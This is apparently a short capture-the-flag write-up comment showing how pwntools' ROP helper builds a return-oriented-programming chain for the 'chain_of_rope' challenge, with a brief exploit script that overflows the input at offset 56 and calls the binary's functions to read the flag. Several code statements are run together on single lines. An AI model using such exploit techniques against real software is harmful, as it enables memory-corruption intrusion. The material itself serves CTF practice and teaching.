Some people recognized that you can jump to the ```system('/bin/cat flag.txt')``` directly. However for educational purposes it makes sense to build a rop-chain and find gadgets by hand.
That said, in almost every rop-writeup using pwntools I see, I rarely see the full featureset of pwntools being used. If you already know what you're doing, you don't have to juggle p64() pointers around. You can use it's functions/gadgets automatic resolver to let it build the needed rop-chain for you:
```#!/usr/bin/python2
from pwn import *
elf = context.binary = ELF('chain_of_rope')rop = ROP(elf)
rop.authorize()rop.addBalance(0xdeadbeef)rop.flag(0xba5eba11, 0xbedabb1e)
io = elf.process()io.sendline("1")io.sendline(fit({ 56:rop.chain() }))io.interactive()```